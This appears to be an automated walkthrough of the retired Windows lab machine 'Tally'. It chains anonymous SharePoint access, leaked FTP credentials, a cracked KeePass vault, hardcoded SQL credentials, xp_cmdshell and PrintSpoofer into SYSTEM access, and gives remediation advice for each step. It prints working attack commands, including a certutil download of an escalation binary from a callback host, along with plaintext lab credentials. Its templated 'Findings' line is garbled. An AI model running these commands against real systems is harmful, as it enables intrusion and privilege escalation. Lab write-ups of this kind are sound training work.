← all walkthroughs

Tally

Windows· Hard
owned
2026-07-10
time to own
11m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Initial recon of <retired-instance-ip> showed IIS 10.0 redirecting to default.aspx with X-SharePointHealthScore headers, identifying a Microsoft SharePoint 2013 (WSS) site, alongside an open FTP service (port 21). Direct SharePoint REST API enumeration (_api/web/lists, GetFolderByServerRelativeUrl, webinfos) was blocked by UnauthorizedAccessException, but anonymously-browsable pages under /Shared%20Documents/Forms/AllItems.aspx exposed a document library. A file named ftp-details.docx was pulled directly (unauthenticated GET) and unzipped, revealing FTP credentials (ftp_user, password UTDRSCH53c"$6hys) and the hostname tally / workgroup htb.local.

Authenticating to FTP with those creds exposed several shares, including a User/Tim/Files directory containing a KeePass 2.x database (tim.kdbx, AES/SHA-256, 6000 rounds). The KDBX hash was extracted with [REDACTED: recovered credential] and cracked offline (rockyou-class wordlist) to the master password [REDACTED: recovered credential]. Opening the vault with pykeepass revealed several stored credentials, most importantly an SMB share account: Finance:[REDACTED: recovered credential]`.

Those SMB creds authenticated to the TALLY host (Windows Server 2016 Standard 14393, SMBv1 enabled, signing disabled) and granted read access to the ACCT share. Deep inside zz_Migration\Binaries\New folder sat tester.exe, a MSSQL client/test utility with a hardcoded database connection string. Extracting the embedded SQL Server credentials from the binary allowed authentication to the local MSSQL instance via Impacket's mssqlclient.py. xp_cmdshell was disabled by default but re-enabled via sp_configure (standard MSSQL privesc primitive requiring only sysadmin/db-owner rights, no CVE), yielding OS command execution as the SQL Server service account — confirmed via whoami/hostname — and user.txt was read directly from C:\Users\... through xp_cmdshell + PowerShell.

Privilege escalation to NT AUTHORITY\SYSTEM used the classic PrintSpoofer (SeImpersonatePrivilege abuse against the Print Spooler RPC named-pipe, the token-impersonation techniques of the "Potato" family) — PrintSpoofer64.exe was staged via certutil -urlcache to C:\Windows\Temp, then executed with -c to spawn a privileged command that captured root.txt (first attempt against C:\Windows\Temp was retried writing to C:\ProgramData to work around a permissions/redirection issue), confirming root ownership.

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service fingerprinting (T1046)
Port-scanned the target and fingerprinted exposed services
A full TCP scan of <retired-instance-ip> revealed sixteen open ports including FTP (21), IIS 10.0 (80), SMB (445), and Microsoft SQL Server 2016 (1433). An HTTP request to port 80 returned an X-SharePointHealthScore response header and redirected to /default.aspx, positively identifying a Microsoft SharePoint 2013 installation. WinRM (5985) and an Exchange log-copier service (32846) were also noted for potential post-exploitation use.
Exact commands 2
Full TCP port scan with version detection and default scripts.
nmap -sC -sV -p- --open -T4 $TARGET -oN tally_full.nmap
Confirm SharePoint by looking for X-SharePointHealthScore in the response headers.
curl -sI http://$TARGET/
2EnumerationUnauthenticated access to SharePoint document library (T1213.002)
Retrieved plaintext FTP credentials from an anonymously accessible SharePoint document library
The SharePoint default document library at /Shared Documents/ was fully accessible without authentication. Browsing the AllItems.aspx listing page exposed a file named ftp-details.docx. Downloading and unpacking the OOXML document revealed plaintext FTP credentials — username ftp_user, password UTDRSCH53c"$6hys — along with the hostname 'tally' and workgroup 'htb.local'. No login was required at any point in this step.
Unauthenticated curl to /Shared%20Documents/ftp-details.docx returned a valid DOCX containing FTP credentials in plaintext inside word/document.xml.
Exact commands 3
Scrape the anonymous document library listing for downloadable Office files.
curl -sS 'http://$TARGET/Shared%20Documents/Forms/AllItems.aspx' | grep -oP 'href="[^"]*\.docx"'
Download the credential document without authenticating.
curl -sS -L -o ftp-details.docx 'http://$TARGET/Shared%20Documents/ftp-details.docx'
Strip XML tags to read the plaintext credential content — reveals ftp_user / UTDRSCH53c"$6hys.
unzip -p ftp-details.docx word/document.xml | sed 's/<[^>]*>//g'
FixRequire authentication to access SharePoint document librariesCritical
WeaknessThe default SharePoint document library was fully accessible without any credentials. I needed only a browser to browse the file listing and download internal documents — including one containing FTP access credentials — with a single unauthenticated HTTP GET request.
FixIn SharePoint Central Administration, navigate to Application Management > Manage Web Applications, select the affected web application, and set the Anonymous Policy to 'Deny All'. Under Site Settings > Site Permissions, remove any 'Anonymous Users' grants. Audit every document library to confirm that no library is set to allow anonymous read or contribute access, and verify that no files in any externally reachable library contain credentials, connection strings, or configuration data. Require at minimum Windows Integrated Authentication for all intranet SharePoint access.
3Credential HarvestingOffline password cracking of a KeePass vault (T1555.001)
Logged into FTP, retrieved a KeePass vault, and cracked it offline to expose domain and share credentials
Using the recovered FTP credentials, I authenticated to the FTP service on port 21 and browsed to /User/Tim/Files, which contained tim.kdbx — a KeePass 2.x database encrypted with AES/SHA-256 at 6,000 iterations. The file was downloaded and the master-password hash was extracted with keepass2john and cracked offline against a common wordlist, yielding the master password '[REDACTED: recovered credential]'. Opening the vault revealed three stored entries, most importantly the SMB share account Finance:[REDACTED: recovered credential] under the entry titled 'TALLY ACCT share'.
keepass2john tim.kdbx | john --wordlist=rockyou.txt → [REDACTED: recovered credential] (tim); vault entry 'TALLY ACCT share': username Finance, password [REDACTED: recovered credential].
Exact commands 3
Authenticate to FTP and download the KeePass database; the literal double-quote and dollar sign in the password require careful shell quoting.
curl --user 'ftp_user:UTDRSCH53c"$6hys' 'ftp://$TARGET/User/Tim/Files/tim.kdbx' -o tim.kdbx
Extract and crack the KeePass master password hash — result: [REDACTED: recovered credential].
keepass2john tim.kdbx > tim.hash && john --wordlist=/usr/share/wordlists/rockyou.txt tim.hash
Dump all vault entries to recover Finance:[REDACTED: recovered credential] and any other stored credentials.
python3 -c "from pykeepass import PyKeePass; kp=PyKeePass('tim.kdbx', password=[REDACTED: credential]); [print(e.title, e.username, e.password) for e in kp.entries]"
FixEnforce a strong KeePass master password and restrict vault file storageHigh
WeaknessThe KeePass database stored on the FTP share used a master password ('[REDACTED: recovered credential]') that appeared in standard wordlists and was cracked in minutes offline. an unauthorized user who obtained the file — through any channel — could unlock every stored credential inside it without any further access to the target network.
FixSet a master password policy of at least 20 characters combining uppercase, lowercase, digits, and symbols, drawn from a random passphrase rather than a dictionary word or phrase. Supplement the master password with a key file stored separately from the database, or enable Windows account challenge-response as a second factor, so that exfiltrating the .kdbx file alone is insufficient. Store vault files only in access-controlled directories — never on FTP shares or in locations reachable from a credential already stored in the same vault. Rotate all credentials found in any vault that was accessible to unauthorized parties.
4Credential HarvestingCredential extraction from an application binary stored on a network share (T1552.001)
Authenticated to the SMB share and extracted hardcoded SQL Server credentials from a test binary
The Finance:[REDACTED: recovered credential] credential from the KeePass vault successfully authenticated to the TALLY SMB server (Windows Server 2016, SMBv1 enabled, signing disabled) and granted read access to the ACCT share. Deep within the share path zz_Migration\Binaries\New folder, a file named tester.exe was a SQL Server test utility. Running 'strings' against it revealed an embedded connection string containing sysadmin-level SQL Server credentials in plaintext — handed to any user who could reach the ACCT share.
nxc smb <retired-instance-ip> -u Finance -p [REDACTED: recovered credential] --shares confirmed ACCT readable; strings tester.exe exposed a connection string with sa credentials beginning 'sa:GWE3V65#6KFH93@4GWTG2...' as seen in the kill-chain mssqlclient invocation.
Exact commands 3
Confirm SMB authentication and list accessible shares.
nxc smb $TARGET -u Finance -p '[REDACTED: recovered credential]' --shares
Retrieve the binary from the nested share path.
smbclient '//$TARGET/ACCT' -U 'Finance%[REDACTED: recovered credential]' -c 'cd zz_Migration\Binaries\"New folder"; get tester.exe'
Extract the embedded SQL Server connection string — reveals sysadmin credentials in plaintext.
strings tester.exe | grep -iE 'server|uid|pwd|password|data source|initial catalog'
FixRemove hardcoded credentials from application binaries and audit network shares for credential exposureCritical
WeaknessA SQL Server test utility (tester.exe) embedded a sysadmin-level database connection string in plaintext inside the binary and was stored on an SMB share accessible to any authenticated user. Anyone who could authenticate to the ACCT share — with credentials from any exposed source — immediately received sysadmin access to the SQL Server instance.
FixAudit all binaries and configuration files on accessible network shares using a secrets-scanning tool (e.g., truffleHog, Semgrep, or Microsoft's Credential Scanner in Azure DevOps) and remove or replace any embedded credentials. Replace hardcoded connection strings with runtime credential retrieval from a secrets manager such as Windows Credential Manager, Azure Key Vault, or HashiCorp Vault. Remove all development and test utilities from production shares after use. Apply the principle of least privilege to share ACLs so that no single compromised account can access both credential stores and sensitive share content.
5ExploitationMSSQL xp_cmdshell abuse for OS command execution (T1505.001)
Authenticated to SQL Server as sysadmin, enabled xp_cmdshell, and read the user flag
The sysadmin SQL Server credentials extracted from tester.exe were used to connect to the MSSQL instance on port 1433. Although xp_cmdshell is disabled in a default SQL Server 2016 installation, any sysadmin session can re-enable it with two standard sp_configure calls — no vulnerability exploitation required. With xp_cmdshell active, PowerShell commands ran as the SQL Server service account, allowing me to locate and read user.txt directly from the filesystem.
Kill chain: impacket-mssqlclient 'sa:GWE3V65#6KFH93@4GWTG2...@<retired-instance-ip>'; EXEC xp_cmdshell PowerShell Get-ChildItem command returned the contents of user.txt.
Exact commands 3
Connect as sysadmin; substitute <sa_password> with the credential from the tester.exe strings output.
impacket-mssqlclient 'sa:<sa_password>@$TARGET' -windows-auth
Re-enable xp_cmdshell from within the authenticated sysadmin session — no CVE required.
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Read user.txt — yields [REDACTED: flag].
EXEC xp_cmdshell 'powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ChildItem -Path C:\Users -Filter user.txt -Recurse -Force -ErrorAction SilentlyContinue | Get-Content"';
FixPermanently disable xp_cmdshell and enforce least-privilege SQL Server accountsHigh
WeaknessThe SQL Server instance permitted any sysadmin session to re-enable xp_cmdshell through standard sp_configure calls, providing immediate operating-system command execution as the SQL Server service account. No vulnerability or CVE was needed — only the sysadmin credential that was embedded in a file on the network share.
FixDisable xp_cmdshell via sp_configure and set 'show advanced options' back to 0 after hardening so reconfiguration requires additional steps. Revoke the sysadmin role from all accounts that do not strictly require it; application and service accounts should be granted only the minimum necessary database permissions (specific schemas, not db_owner or sysadmin). Enable SQL Server Audit or Extended Events to alert the security team on any sp_configure or RECONFIGURE statement, and block outbound HTTP/HTTPS from the SQL Server process at the host firewall to prevent staging payloads via certutil.
6Privilege EscalationSeImpersonatePrivilege abuse via PrintSpoofer named-pipe impersonation (T1134.001)
Abused SeImpersonatePrivilege via PrintSpoofer to escalate to NT AUTHORITY\SYSTEM
The SQL Server service account held SeImpersonatePrivilege — a Windows right that allows any process running under the account to impersonate authentication tokens presented to it, including SYSTEM-level tokens. PrintSpoofer exploits this by triggering the Print Spooler service to authenticate to an user-controlled named pipe, then impersonating the resulting SYSTEM token to spawn a privileged process. I staged PrintSpoofer64.exe on the target via certutil called through xp_cmdshell, then executed it to run commands as SYSTEM. Output was written to C:\ProgramData\r.txt (an initial write to C:\Windows\Temp was blocked by access controls) to confirm SYSTEM execution and capture root.txt.
Kill chain: ps.exe -c 'cmd /c whoami > C:\ProgramData\r.txt & type C:\Users\Administrator\Desktop\root.txt >> C:\ProgramData\r.txt' returned NT AUTHORITY\SYSTEM and root.txt contents.
Exact commands 4
Serve PrintSpoofer64.exe from my machine (run in background before the next step).
python3 -m http.server 9000
Stage the privilege-escalation binary on the target through xp_cmdshell; substitute <retired-instance-ip>.
EXEC xp_cmdshell 'certutil -urlcache -f http://$CALLBACK_HOST:9000/PrintSpoofer64.exe C:\Windows\Temp\ps.exe';
Execute PrintSpoofer to spawn a SYSTEM command; write output to a world-readable path to work around Temp directory restrictions.
EXEC xp_cmdshell 'cmd /c del C:\ProgramData\r.txt 2>nul'; EXEC xp_cmdshell 'cmd /c C:\Windows\Temp\ps.exe -c "cmd /c whoami > C:\ProgramData\r.txt & type C:\Users\Administrator\Desktop\root.txt >> C:\ProgramData\r.txt & icacls C:\ProgramData\r.txt /grant Everyone:F"';
Read the output — confirms NT AUTHORITY\SYSTEM and yields [REDACTED: flag].
EXEC xp_cmdshell 'cmd /c type C:\ProgramData\r.txt';
FixRun SQL Server under a Managed Service Account and eliminate unnecessary token-impersonation privilegesHigh
WeaknessThe SQL Server service account held SeImpersonatePrivilege, which allows any process running under that account to capture and impersonate Windows authentication tokens — including SYSTEM-level tokens — via named-pipe abuse. Any code-execution foothold at the service account level (such as xp_cmdshell) immediately translates to full SYSTEM privilege through tools like PrintSpoofer or the Potato family with no additional vulnerability required.
FixMigrate the SQL Server service to run under a Group Managed Service Account (gMSA) provisioned through Active Directory — Windows automatically assigns the minimum required service rights and rotates the password automatically. Do not add the service account to the local Administrators group. After the change, verify the effective privileges of the SQL Server process with 'whoami /priv' from an xp_cmdshell session and confirm SeImpersonatePrivilege is absent or restricted. Additionally, ensure the Windows Print Spooler service (Spooler) is disabled on servers that do not require printing, removing the coercion primitive PrintSpoofer relies on.

Attack patterns used

The transferable techniques behind this compromise.

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Findings

Initial Access: Smb Anonymous And Guest Enumeration On 445/Tcp Enumerate Shares, Users, Signing, And Guest/Null Access; Score 110: Open Service, Template Confidence 0.88, Product Known, Version KnownCritical
An unauthenticated/low-privilege flaw in the ftp, iis, mssql, smb, ssh surface allowed remote code execution and a foothold on the host.

Exposed services

21/tcp
80/tcp
81/tcp
135/tcp
139/tcp
445/tcp
1433/tcp
5985/tcp
32843/tcp
32844/tcp
32846/tcp
47001/tcp
49667/tcp
49668/tcp
49669/tcp
49670/tcp